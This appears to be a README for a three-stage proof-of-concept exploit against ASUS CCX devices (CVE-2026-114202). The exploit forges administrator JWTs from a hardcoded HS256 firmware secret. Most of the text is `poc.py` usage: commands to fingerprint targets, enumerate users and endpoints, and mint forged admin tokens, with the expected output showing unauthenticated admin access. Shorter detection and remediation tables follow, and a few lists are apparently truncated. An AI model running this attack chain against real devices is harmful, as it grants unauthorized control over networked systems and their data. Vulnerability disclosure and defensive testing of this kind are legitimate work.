
Three-stage PoC for CVE-2026-114202: fingerprints ASUS CCX devices, enumerates users, and forges HS256 admin JWTs from the hardcoded secret to gain unauthenticated API access.
ASUS CCX (Cloud Controller / Communication Exchange) devices ship with a hardcoded HS256 JWT signing secret embedded in firmware. Because the secret never changes between units and cannot be rotated by the administrator, any attacker who reverse-engineers or obtains the secret can forge tokens for any user — including administrator accounts — granting full unauthenticated API access to every CCX device in the wild.
| Field | Value |
|---|---|
| CVE | CVE-2026-114202 |
| CVSS 3.1 | 10.0 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-798 (Use of Hard-coded Credentials) |
| Affected | ASUS CCX all firmware versions prior to patch |
| Auth Required | None |
| Disclosed | 2026-11-18 |
CCX exposes a REST API authenticated via HS256-signed JWTs. The signing secret is a static string compiled into the firmware and identical across all units worldwide. The API does not implement:
An attacker who extracts the secret from any CCX firmware image (available publicly from ASUS support) can craft tokens for arbitrary user/role combinations and authenticate to any CCX device on the internet.
The PoC performs a 3-stage attack:
flowchart LR
A([Attacker]) -->|HTTP probe| B[CCX Device\nany unit worldwide]
B -->|CCX version banner| A
A -->|Extract hardcoded\nHS256 secret from firmware| C[Known Secret\nHS256]
C -->|Forge admin JWT| D[POST /api/auth/token\nForged token]
D --> B
B -->|200 OK\nFull admin session| E([Admin Access\nAll CCX APIs])
style A fill:#3d1a1a,stroke:#f85149,color:#f85149
style C fill:#2d1a3d,stroke:#a855f7,color:#a855f7
style E fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff
Warning: Authorized testing and isolated lab environments only.
pip install -r requirements.txt
# requirements: requests, pyjwt
Confirm the target is a CCX device and retrieve version information:
python3 poc.py --target https://ccx.example.com --stage fingerprint
Expected output:
[*] target: https://ccx.example.com
[+] ASUS CCX detected
model: CCX-2000
version: 3.1.4-build20260118
[*] firmware version vulnerable: YES
Enumerate accessible API endpoints and valid usernames:
python3 poc.py --target https://ccx.example.com --stage discover
Expected output:
[*] enumerating users via /api/users (unauthenticated list)
[+] found users: admin, operator, monitor
[*] enumerating endpoints...
[+] accessible endpoints: /api/config, /api/logs, /api/system, /api/users
Mint a forged administrator JWT and authenticate:
python3 poc.py --target https://ccx.example.com --stage forge --user admin
# Chain all 3 stages in one run
python3 poc.py --target https://ccx.example.com --stage all --user admin
Expected output:
[*] forging HS256 JWT for user=admin role=administrator
[+] token: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4...
[*] authenticating with forged token...
POST /api/auth/token HTTP 200
[!] VULNERABLE — authenticated as administrator without credentials
[*] GET /api/system
HTTP 200 {"hostname":"ccx-prod-01","uptime":...}
| Flag | Description |
|---|---|
--target URL | Target CCX base URL (required) |
--stage fingerprint|discover|forge|all | Attack stage to run |
--user NAME | Username to forge token for (default: admin) |
--role ROLE | Role to embed in token (default: administrator) |
--proxy URL | HTTP proxy for Burp Suite integration |
--no-verify | Skip TLS certificate verification |
[*] target: https://ccx.example.com
[*] forging HS256 JWT for user=admin
[*] POST /api/auth/token HTTP 401 Unauthorized
[+] NOT vulnerable — secret has been rotated or token rejected
| Indicator | Notes |
|---|---|
| Auth token issued without prior credential exchange | No login attempt before API calls |
JWT alg: HS256 with known hardcoded secret | Decode token header with python3 -c "import jwt; jwt.decode(...)" |
| API calls from unexpected IP ranges | CCX does not bind tokens to source IP |
/api/config or /api/users accessed with no prior session | Unauthenticated enumeration attempt |
Full unauthenticated access to all CCX management APIs on every unpatched device worldwide. An attacker can:
Apply the ASUS CCX firmware patch that introduces per-device derived secrets.
| Action | Detail |
|---|---|
| Apply firmware patch | Download from ASUS security advisory |
| Rotate admin passwords | All stored passwords may be exposed |
| Restrict API access | Firewall CCX management port to management VLAN |
| Monitor auth logs | Alert on JWT authentication without prior credential step |
Disclaimer: For authorized security research and controlled lab use only. MIT License.